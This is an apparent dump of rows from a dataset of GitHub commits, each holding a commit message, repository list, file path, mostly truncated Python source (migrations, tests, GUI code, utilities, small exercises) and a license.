class Migration(migrations.Migration):
dependencies = [
('osf', '0098_merge_20180416_1807'),
('osf', '0098_auto_20180418_1722'),
]
operation... | apache-2.0 | Python | |
99d7a6dd79e0661bb047198261d624fd62e41406 | add missing file | markr622/moose,katyhuff/moose,jhbradley/moose,permcody/moose,tonkmr/moose,bwspenc/moose,tonkmr/moose,jinmm1992/moose,harterj/moose,idaholab/moose,cpritam/moose,raghavaggarwal/moose,jbair34/moose,markr622/moose,jiangwen84/moose,danielru/moose,backmari/moose,raghavaggarwal/moose,roystgnr/moose,giopastor/moose,sapitts/moo... | gui/vtk/ExodusResult.py | gui/vtk/ExodusResult.py | import os, sys, PyQt4, getopt
from PyQt4 import QtCore, QtGui
import vtk
import time
class ExodusResult:
def __init__(self, render_widget, renderer, plane):
self.render_widget = render_widget
self.renderer = renderer
self.plane = plane
self.current_actors = []
def setFileName(self, file_name): ... | lgpl-2.1 | Python | |
d6850ebe441a966dcf17f5cb8b0ce57a7c9dce8a | Add argument parsing | Relrin/Helenae,Relrin/Helenae,Relrin/Helenae | helenae/db/create_db.py | helenae/db/create_db.py | from optparse import OptionParser
import sqlalchemy.exc
from sqlalchemy import text
from sqlalchemy.orm import sessionmaker
from tables import *
def create_db():
"""
Defined tables at tables.py file are created in some DB
"""
try:
Base.metadata.create_all(engine)
except sqlalchemy.ex... | mit | Python | |
712733ead5e36362fe6e2eca1235744c257c7f69 | Create helloWorld.py | WebClub-NITK/Hacktoberfest-2k17,WebClub-NITK/Hacktoberfest-2k17,WebClub-NITK/Hacktoberfest-2k17,vansjyo/Hacktoberfest-2k17,vansjyo/Hacktoberfest-2k17,WebClub-NITK/Hacktoberfest-2k17,WebClub-NITK/Hacktoberfest-2k17,WebClub-NITK/Hacktoberfest-2k17,vansjyo/Hacktoberfest-2k17,vansjyo/Hacktoberfest-2k17,vansjyo/Hacktoberfes... | helloWorld.py | helloWorld.py | # programe in python
printf("Hello World!")
| mit | Python | |
bf56a5afed926d7cdd536c1da8ba5b021a09bd95 | Test pipe framework | jni/skan | skan/test/test_pipe.py | skan/test/test_pipe.py | import os
import pytest
import pandas
from skan import pipe
@pytest.fixture
def image_filename():
rundir = os.path.abspath(os.path.dirname(__file__))
datadir = os.path.join(rundir, 'data')
return os.path.join(datadir, 'retic.tif')
def test_pipe(image_filename):
data = pipe.process_images([image_file... | bsd-3-clause | Python | |
b663bf77fe60a108598db4ae8310e8877d06cddd | Add unit tests for core module | jniedrauer/dfman | tests/core_test.py | tests/core_test.py | """Test CLI module"""
import os
import sys
import tempfile
import unittest
from mock import mock_open, patch
from context import dfman
from dfman import config, const, core
class TestMainRuntime(unittest.TestCase):
@patch('dfman.core.Config')
@patch.object(dfman.core.MainRuntime, 'set_output_streams')
... | mit | Python | |
be59230531d98dc25f806b2290a51a0f4fde1d3b | Rename model to prevent crash during module upgrade in tests | grap/OpenUpgrade,OpenUpgrade/OpenUpgrade,Endika/OpenUpgrade,Endika/OpenUpgrade,grap/OpenUpgrade,OpenUpgrade/OpenUpgrade,OpenUpgrade/OpenUpgrade,Endika/OpenUpgrade,grap/OpenUpgrade,grap/OpenUpgrade,Endika/OpenUpgrade,grap/OpenUpgrade,OpenUpgrade/OpenUpgrade,grap/OpenUpgrade,OpenUpgrade/OpenUpgrade,Endika/OpenUpgrade,End... | addons/survey/migrations/8.0.2.0/pre-migration.py | addons/survey/migrations/8.0.2.0/pre-migration.py | # coding: utf-8
from openupgradelib import openupgrade
@openupgrade.migrate()
def migrate(cr, version):
openupgrade.rename_tables(cr, [('survey', 'survey_survey')])
openupgrade.rename_models(cr, [('survey', 'survey.survey')])
| agpl-3.0 | Python | |
a277a25014c250c04fabb669013305940c867abc | Introduce new variables | openfisca/country-template,openfisca/country-template | openfisca_country_template/variables/stats.py | openfisca_country_template/variables/stats.py | # -*- coding: utf-8 -*-
# This file defines the variables of our legislation.
# A variable is property of a person, or an entity (e.g. a household).
# See http://openfisca.org/doc/variables.html
# Import from openfisca-core the common python objects used to code the legislation in OpenFisca
from openfisca_core.model_... | agpl-3.0 | Python | |
becba80983c5f0f29f981eadcc79d4f496e1d28b | fix issue #2778 | hydroshare/hydroshare,hydroshare/hydroshare,hydroshare/hydroshare,hydroshare/hydroshare,hydroshare/hydroshare | theme/management/commands/fix_user_quota_model.py | theme/management/commands/fix_user_quota_model.py | from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
from theme.models import UserQuota
class Command(BaseCommand):
help = "This commond can be run to fix the corrupt user data where some users do not " \
"have UserQuota foreign key relation. This man... | bsd-3-clause | Python | |
4f1cda8459cb6bca2e317bb582266fb43e78215c | Add test_manager_mixin module. | ulule/django-linguist | linguist/tests/test_manager_mixin.py | linguist/tests/test_manager_mixin.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from .base import BaseTestCase
from ..models import Translation
from ..utils.i18n import get_cache_key
class ManagerMixinTest(BaseTestCase):
"""
Tests the Linguist's manager mixin.
"""
def setUp(self):
self.create_registry()
... | mit | Python | |
326249502d9884ea5717afff63b8a7caf60f6c2c | check in openstack healthcheck tool | zdw/xos,wathsalav/xos,cboling/xos,zdw/xos,opencord/xos,open-cloud/xos,xmaruto/mcord,open-cloud/xos,xmaruto/mcord,opencord/xos,cboling/xos,jermowery/xos,cboling/xos,xmaruto/mcord,wathsalav/xos,zdw/xos,cboling/xos,jermowery/xos,jermowery/xos,opencord/xos,cboling/xos,jermowery/xos,xmaruto/mcord,wathsalav/xos,open-cloud/xo... | planetstack/tools/openstack-healthcheck.py | planetstack/tools/openstack-healthcheck.py | #! /usr/bin/python
import os
import sys
import subprocess
import time
def get_systemd_status(service):
p=subprocess.Popen(["/bin/systemctl", "is-active", service], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(out, err) = p.communicate()
out = out.strip()
return out
libvirt_enabled = os.system("sys... | apache-2.0 | Python | |
0e5e3deb8a8250429ee7a1603e017343f6c7e3bb | Create a Testing Suite | in-toto/layout-web-tool,in-toto/layout-web-tool,in-toto/layout-web-tool | tests/run_tests.py | tests/run_tests.py | from unittest import defaultTestLoader, TextTestRunner
import sys
suite = defaultTestLoader.discover(start_dir=".")
result = TextTestRunner(verbosity=2, buffer=True).run(suite)
sys.exit(0 if result.wasSuccessful() else 1)
| mit | Python | |
ecac8bc83491c9cb2312cf2a1c477c53c4832b4d | Add minimal dead code elimination | Inaimathi/pykit,Inaimathi/pykit,flypy/pykit,ContinuumIO/pykit,ContinuumIO/pykit,flypy/pykit | pykit/transform/dce.py | pykit/transform/dce.py | # -*- coding: utf-8 -*-
"""
Dead code elimination.
"""
from pykit.analysis import loop_detection
effect_free = set([
'alloca', 'load', 'new_list', 'new_tuple', 'new_dict', 'new_set',
'new_struct', 'new_data', 'new_exc', 'phi', 'exc_setup', 'exc_catch',
'ptrload', 'ptrcast', 'ptr_isnull', 'getfield', 'get... | bsd-3-clause | Python | |
2fa7855de542bb5ecd303e26d1e9913687478589 | Set up test suite to ensure server admin routes are added. | sheagcraig/sal,sheagcraig/sal,sheagcraig/sal,salopensource/sal,sheagcraig/sal,salopensource/sal,salopensource/sal,salopensource/sal | server/tests/test_admin.py | server/tests/test_admin.py | """General functional tests for the API endpoints."""
from django.test import TestCase, Client
# from django.urls import reverse
from rest_framework import status
from server.models import ApiKey, User
# from api.v2.tests.tools import SalAPITestCase
class AdminTest(TestCase):
"""Test the admin site is configu... | apache-2.0 | Python | |
38b12d0581e82ebb0e4fee8500bbd5d83d373afa | Create wikipedia-link-analysis-reducer.py | hardikvasa/hadoop-mapreduce-examples-python | wikipedia-link-analysis-reducer.py | wikipedia-link-analysis-reducer.py | mit | Python | ||
38f5c8534e3807d0485165017972adf47bd4aa2f | Create utils.py | duboviy/zca | utilities/utils.py | utilities/utils.py | from zope.interface import implements
from IOperation import IOperation
class Plus(object):
implements(IOperation)
def __call__(self, a, b):
return a + b
class Minus(object):
implements(IOperation)
def __call__(self, a, b):
return a - b
### alternative way to make utility compon... | mit | Python | |
7801f5a34fed9c50ebd0d426a69f875026da9602 | Create tutorial2.py | anoushkaalavilli/empty-app | tutorial2.py | tutorial2.py | mit | Python | ||
0ddac190019753d77b1ed78dcd49ad7370d666df | add some utils | rdeits/iris,rdeits/iris,rdeits/iris,rdeits/iris | python/irispy/utils.py | python/irispy/utils.py | import numpy as np
import irispy
def lcon_to_vert(A, b):
poly = irispy.Polyhedron(A.shape[1])
poly.setA(A)
poly.setB(b)
V = np.vstack(poly.generatorPoints()).T
def sample_convex_polytope(A, b, nsamples):
poly = irispy.Polyhedron(A.shape[1])
poly.setA(A)
poly.setB(b)
generators = np.vst... | bsd-2-clause | Python | |
538cd00a3c0307818cf62c61be3d91007a9b4091 | Add migration for movie.durations_in_s | streamr/marvin,streamr/marvin,streamr/marvin | migrations/versions/349d38252295_.py | migrations/versions/349d38252295_.py | """Add movie.duration_in_s
Revision ID: 349d38252295
Revises: 2b7f5e38dd73
Create Date: 2014-01-09 15:31:24.597000
"""
# revision identifiers, used by Alembic.
revision = '349d38252295'
down_revision = '2b7f5e38dd73'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by ... | mit | Python | |
c8ad60f23bc630ba8e57f735c8aa0ec7eeaa3c1f | teste ggj18 | jrbitt/gamesresearch,jrbitt/gamesresearch | arquivo3.py | arquivo3.py | dasdsa
sdas
sdasd
asdasdas
s
dasdas
das
d
asd
as
das
das
das
d
sad
| apache-2.0 | Python | |
c5bbbe4f6430ef20da55ea0f8039091d4f79c491 | Add script to update taking for all team owners | gratipay/gratipay.com,gratipay/gratipay.com,gratipay/gratipay.com,gratipay/gratipay.com | sql/branch.py | sql/branch.py | import sys
from gratipay import wireup
from gratipay.models.participant import Participant
db = wireup.db(wireup.env())
teams = db.all("""
SELECT t.*::teams
FROM teams t
""")
for team in teams:
print("Updating team %s" % team.slug)
Participant.from_username(team.owner).update_taking()
print("Done... | mit | Python | |
74c58436c28fbca804cd70a88ca1250ca22aa8e6 | add test_poll.py | alphatwirl/alphatwirl,alphatwirl/alphatwirl,alphatwirl/alphatwirl,alphatwirl/alphatwirl | tests/unit/concurrently/condor/test_poll.py | tests/unit/concurrently/condor/test_poll.py | # Tai Sakuma <tai.sakuma@gmail.com>
import os
import sys
import logging
import textwrap
import collections
import pytest
try:
import unittest.mock as mock
except ImportError:
import mock
from alphatwirl.concurrently import WorkingArea
from alphatwirl.concurrently import HTCondorJobSubmitter
##______________... | bsd-3-clause | Python | |
9967ade200639b584e379ec25030d1598071ffd3 | Create TextEditor.py | BrickText/BrickText | redactor/TextEditor.py | redactor/TextEditor.py | from tkinter import *
class TextEditor():
def __init__(self):
self.root = Tk()
self.root.wm_title("BrickText")
self.text_panel = Text(self.root)
self.text_panel.pack(side=RIGHT, fill=BOTH, expand=YES)
self.set_tabs()
def start(self):
self.root.mainloop()
d... | mit | Python | |
c037412566b0a0313216e49168a8ebcc831e0f9b | add hamshahri information extractor | sobhe/baaz,sobhe/baaz | hamshahri.py | hamshahri.py |
from hazm import sent_tokenize, word_tokenize, Normalizer, HamshahriReader, POSTagger, DependencyParser
from InformationExtractor import InformationExtractor
hamshahri = HamshahriReader('/home/alireza/Corpora/Hamshahri')
normalizer = Normalizer()
tagger = POSTagger()
parser = DependencyParser(tagger=tagger)
extracto... | mit | Python | |
a7ece57eec28c771bcf2a23dc9c9e575223b1383 | add memory usage profiler script | kurtdawg24/robotframework,nmrao/robotframework,userzimmermann/robotframework,fingeronthebutton/robotframework,rwarren14/robotframework,kurtdawg24/robotframework,xiaokeng/robotframework,suvarnaraju/robotframework,rwarren14/robotframework,jorik041/robotframework,joongh/robotframework,yahman72/robotframework,wojciechtansk... | proto/memory_test/calculate_rebot_model.py | proto/memory_test/calculate_rebot_model.py | # Copyright 2008-2011 Nokia Siemens Networks Oyj
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | apache-2.0 | Python | |
680fb0bc3190acbb0bfd32f937d0e29b5641a1f2 | Create Strongly_Connect_Graph.py | UmassJin/Leetcode | Algorithm/Strongly_Connect_Graph.py | Algorithm/Strongly_Connect_Graph.py | # http://www.geeksforgeeks.org/strongly-connected-components/
# http://www.geeksforgeeks.org/connectivity-in-a-directed-graph/
'''
Given a directed graph, find out whether the graph is strongly connected or not. A directed graph is strongly connected if there is a path between any two pair of vertices. For example, fol... | mit | Python | |
2e985972aa4aad94bfda25ba852326b39498e4fa | Create Unique_Binary_Search_Trees.py | UmassJin/Leetcode | Array/Unique_Binary_Search_Trees.py | Array/Unique_Binary_Search_Trees.py | Given n, how many structurally unique BST's (binary search trees) that store values 1...n?
For example,
Given n = 3, there are a total of 5 unique BST's.
1 3 3 2 1
\ / / / \ \
3 2 1 1 3 2
/ / \ \
2 1 ... | mit | Python | |
cd59d45813fbc23d76e1e9d12cf46d7df37d72c3 | Add remote_fs unittest (#410) | appium/python-client,appium/python-client | test/unit/webdriver/device/remote_fs_test.py | test/unit/webdriver/device/remote_fs_test.py | #!/usr/bin/env python
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software... | apache-2.0 | Python | |
f23c77d517dd88c38d5ad8fa0601bc61ccf17aa6 | Change url from 2016 to 2017 | pyvec/cz.pycon.org-2017,benabraham/cz.pycon.org-2017,pyvec/cz.pycon.org-2017,benabraham/cz.pycon.org-2017,benabraham/cz.pycon.org-2017,pyvec/cz.pycon.org-2017 | pyconcz_2017/urls.py | pyconcz_2017/urls.py | from django.conf import settings
from django.conf.urls import include, url
from django.conf.urls.static import static
from django.contrib import admin
from django.views.generic import TemplateView, RedirectView
from pyconcz_2017.common.views import homepage
prefixed_urlpatterns = [
url(r'^$', homepage, name='home... | from django.conf import settings
from django.conf.urls import include, url
from django.conf.urls.static import static
from django.contrib import admin
from django.views.generic import TemplateView, RedirectView
from pyconcz_2017.common.views import homepage
prefixed_urlpatterns = [
url(r'^$', homepage, name='home... | mit | Python |
5becb57514c4b08fc7af2a9a4e38b2c8aac2f576 | Create computestats.py | Effective-Quadratures/Effective-Quadratures,psesh/Effective-Quadratures | effective_quadratures/computestats.py | effective_quadratures/computestats.py | #!/usr/bin/env python
import numpy as np
from utils import error_function
class Statistics(object):
"""
This subclass is an domains.ActiveVariableMap specifically for optimization.
**See Also**
optimizers.BoundedMinVariableMap
optimizers.UnboundedMinVariableMap
**Notes**
This class's t... | lgpl-2.1 | Python | |
36d0fc3c54dc0c91196c16875c1b1e2d9b0d38ea | Add basic unit test for LimitOffsetPagination | martinmaillard/django-rest-framework-json-api,abdulhaq-e/django-rest-framework-json-api,django-json-api/django-rest-framework-json-api,pombredanne/django-rest-framework-json-api,scottfisk/django-rest-framework-json-api,django-json-api/rest_framework_ember,django-json-api/django-rest-framework-json-api,leo-naeka/rest_fr... | example/tests/unit/test_pagination.py | example/tests/unit/test_pagination.py | from collections import OrderedDict
from rest_framework.request import Request
from rest_framework.test import APIRequestFactory
from rest_framework.utils.urls import replace_query_param
from rest_framework_json_api.pagination import LimitOffsetPagination
factory = APIRequestFactory()
class TestLimitOffset:
"... | bsd-2-clause | Python | |
1eed076cc9140d35cd6897ef2bcb5fe0ae943e35 | Revert "remove bindings" | curioussavage/my-usage,arunoda/node-usage,curioussavage/my-usage,arunoda/node-usage,Discountrobot/node-usage,Wyliodrin/node-usage,Wyliodrin/node-usage,curioussavage/my-usage,Discountrobot/node-usage,Discountrobot/node-usage,Discountrobot/node-usage,arunoda/node-usage,Wyliodrin/node-usage,curioussavage/my-usage,arunoda/... | binding.gyp | binding.gyp | {
'targets': [
{
'target_name': 'sysinfo',
'conditions': [
['OS=="solaris"', {
'sources': [
'src/solaris.cpp'
]
}]
],
'sources': [
'src/binding.cpp',
],
'linkflags': [
'-Lbuild/cd Release/obj.target/sysinfo/src/'
],
'defines': [
'OS="<(OS)"',
'is_<(OS)'... | mit | Python | |
9a83e01b9710943c50f80c8ffc4e5d5827cb3b92 | Check data preparation | shawpan/vehicle-detector | main.py | main.py | from car_classifier import CarClassifier
if __name__ == "__main__":
car_img_dir = 'vehicles'
not_car_img_dir = 'non-vehicles'
sample_size = 8792
car_classifier = CarClassifier(car_img_dir=car_img_dir,
not_car_img_dir=not_car_img_dir,
sample_size = sample_size)
car_classifier.fit()
| mit | Python | |
c99bee3628e55873e5bb9b6e98fd0455b6b45c64 | add examples for recipe 1.14 | ordinary-developer/book_python_cookbook_3_ed_d_beazley_b_k_jones | code/ch_1-DATA_STRUCTURES_AND_ALGORITHMS/14-sorting_objects_without_native_comparison_support/main.py | code/ch_1-DATA_STRUCTURES_AND_ALGORITHMS/14-sorting_objects_without_native_comparison_support/main.py | def example_1():
class User:
def __init__(self, user_id):
self.user_id = user_id
def __repr__(self):
return 'User({})'.format(self.user_id)
users = [User(23), User(3), User(99)]
print(users)
print(sorted(users, key = lambda u: u.user_id))
from operator impor... | mit | Python | |
836d4ed6a3ddda4d381345a34358714db74af757 | Add an helper push program | ivoire/ReactOBus,ivoire/ReactOBus | share/examples/push.py | share/examples/push.py | import sys
import zmq
from zmq.utils.strtypes import b
def main():
# Get the arguments
if len(sys.argv) != 4:
print("Usage: push.py url topic num_messages")
sys.exit(1)
url = sys.argv[1]
topic = sys.argv[2]
num_messages = int(sys.argv[3])
# Create the socket
context = zmq.... | agpl-3.0 | Python | |
cc7ecc419f75fa672ff215e7c6157bac8ebfb29e | Add union-find implementation | nitsas/py3datastructs | unionfind.py | unionfind.py | """
A simple Union-Find data structure implementation.
author:
Christos Nitsas
(chrisn654 or nitsas)
language:
Python 3(.4)
date:
July, 2014
"""
class UnionFindSimpleImpl:
"""
A simple Union-Find data structure implementation.
If n is the number of items in the structure, a series of m union
... | mit | Python | |
a4924a6928facdda942844b1bac8f0a53eb9ff4b | add 1 OPP file: slots | wuchengang/PythonLearing,wuchengang/PythonLearing | use_slots.py | use_slots.py | #!/user/bin/env python3
# -*- coding: utf-8 -*-
class Student(object):
_slots_ = ('name', 'age')
class GraduateStudent(Student):
pass
s = Student()
s.name = 'Michael'
s.age = 15
try:
s.score = 88
except AttributeError as e:
print('AttributeError:', e)
g = GraduateStudent()
g.score = 99
print(g.sco... | apache-2.0 | Python | |
b6b2f268693764deb70553b00904af4aa6def15f | add lamp_genie.py - aladin 오프라인 매장을 검색해서 키워드의 책 ISBN번호를 알려준다. | PyLadiesSeoul/LampGenie | lamp_genie.py | lamp_genie.py | #-*- coding: utf-8 -*-
import requests
import BeautifulSoup
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
mobile_site_url = "http://www.aladin.co.kr"
search_url = "http://off.aladin.co.kr/usedstore/wsearchresult.aspx?SearchWord=%s&x=0&y=0"
book_url = "http://off.aladin.co.kr/usedstore/wproduct.aspx?ISBN=%d"
... | mit | Python | |
13c14b8c2b44d2f9b39e46d395fcde891ba6ba9f | Patch #670715: Universal Unicode Codec for POSIX iconv. | sk-/python2.7-type-annotator,sk-/python2.7-type-annotator,sk-/python2.7-type-annotator | Lib/test/test_iconv_codecs.py | Lib/test/test_iconv_codecs.py | from test import test_support
import unittest, sys
import codecs, _iconv_codec
from encodings import iconv_codec
from StringIO import StringIO
class IconvCodecTest(unittest.TestCase):
if sys.byteorder == 'big':
spam = '\x00s\x00p\x00a\x00m\x00s\x00p\x00a\x00m'
else:
spam = 's\x00p\x00a\x00m\x0... | mit | Python | |
de4e54e1de5905600d539df781994612f03e0672 | Add files via upload | OswinGuai/GenerateAdjacency | matrix.py | matrix.py | import numpy as np
def parse_to_matrix(input_file_path, div = '\t', data_type = int):
input_file = open(input_file_path, 'r')
matrix = [ map(data_type,line.strip().split('%s' % div)) for line in input_file if line.strip() != "" ]
input_file.close()
return np.array(matrix)
def parse_to_vectors(input_file_path, div... | apache-2.0 | Python | |
42e485b7367e1a707a73b834f39fc6d3f356b61d | remove valid config check | mgerhardy/fips,michaKFromParis/fips,michaKFromParis/fips,floooh/fips,code-disaster/fips,floooh/fips,anthraxx/fips,floooh/fips,anthraxx/fips,code-disaster/fips,mgerhardy/fips | verbs/gdb.py | verbs/gdb.py | """implement 'gdb' verb (debugs a single target with gdb)
gdb
gdb [target]
gdb [target] [config]
"""
import subprocess
from mod import log, util, config, project, settings
#-------------------------------------------------------------------------------
def gdb(fips_dir, proj_dir, cfg_name, target=None) :
"""deb... | """implement 'gdb' verb (debugs a single target with gdb)
gdb
gdb [target]
gdb [target] [config]
"""
import subprocess
from mod import log, util, config, project, settings
#-------------------------------------------------------------------------------
def gdb(fips_dir, proj_dir, cfg_name, target=None) :
"""deb... | mit | Python |
0118316df964c09198747255f9f3339ed736066d | Create test.py | andresitodeguzman/twtpy | test/test.py | test/test.py | # TweetPy
# Test
import unittest
import tweet
class SampleTestClass(unittest.TestCase):
def sampleTest(self):
#do something
a = 1
if __name__ == '__main__':
unittest.main()
| mit | Python | |
fa4b01102d1226ccc3dcf58119053bbc8839c36e | add ex42 | Akagi201/learning-python,Akagi201/learning-python,Akagi201/learning-python,Akagi201/learning-python,Akagi201/learning-python | lpthw/ex42.py | lpthw/ex42.py | #!/usr/bin/env python
# Exercise 42: Is-A, Has-A, Objects, and Classes
## Animal is-a object (yes, sort of confusing) look at the extra credit
class Animal(object):
pass
## ??
class Dog(Animal):
def __init__(self, name):
## ??
self.name = name
## ??
class Cat(Animal):
def __init__(self... | mit | Python | |
94bc0d6596aba987943bf40e2289f34240081713 | Add lc0041_first_missing_positive.py | bowen0701/algorithms_data_structures | lc0041_first_missing_positive.py | lc0041_first_missing_positive.py | """Leetcode 41. First Missing Positive
Hard
URL: https://leetcode.com/problems/first-missing-positive/
Given an unsorted integer array, find the smallest missing positive integer.
Example 1:
Input: [1,2,0]
Output: 3
Example 2:
Input: [3,4,-1,1]
Output: 2
Example 3:
Input: [7,8,9,11,12]
Output: 1
Note:
Your algori... | bsd-2-clause | Python | |
1aba0e5ba6aa91c2aa608c2c94411c59e4a3eca5 | Create stack_plot.py | psyllost/02819 | stack_plot.py | stack_plot.py | # -*- coding: utf-8 -*-
"""
Includes a function for visualization of data with a stack plot.
"""
from matplotlib import pyplot as plt
from matplotlib import ticker
import random
def stack(number_of_topics, TopicTitles, X, Y):
"""Creates a stack plot for the number of papers published from 2002 to 2014
for e... | apache-2.0 | Python | |
d4ac57f3a328dd98b76f6c8924ddc9d735c32c04 | Add py-sphinxcontrib-qthelp package (#13275) | iulian787/spack,iulian787/spack,LLNL/spack,iulian787/spack,iulian787/spack,LLNL/spack,LLNL/spack,LLNL/spack,iulian787/spack,LLNL/spack | var/spack/repos/builtin/packages/py-sphinxcontrib-qthelp/package.py | var/spack/repos/builtin/packages/py-sphinxcontrib-qthelp/package.py | # Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class PySphinxcontribQthelp(PythonPackage):
"""sphinxcontrib-qthelp is a sphinx extension which ... | lgpl-2.1 | Python | |
6b5587fc7856b5d03b3605e1a31234ff98df88e2 | add L3 quiz - Expressions | udacity/course-front-end-frameworks,udacity/course-front-end-frameworks,udacity/course-front-end-frameworks | lesson3/quizExpressions/unit_tests.py | lesson3/quizExpressions/unit_tests.py | import re
is_correct = False
brace_regex = "{{.*}}"
color_regex = "(?:brick.)?color"
size_regex = "(?:brick.)?size"
price_regex = "(?:brick.)?price"
heading = widget_inputs["text1"]
brick_color = widget_inputs["text2"]
brick_size = widget_inputs["text3"]
brick_price = widget_inputs["text4"]
brick_description = widge... | mit | Python |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.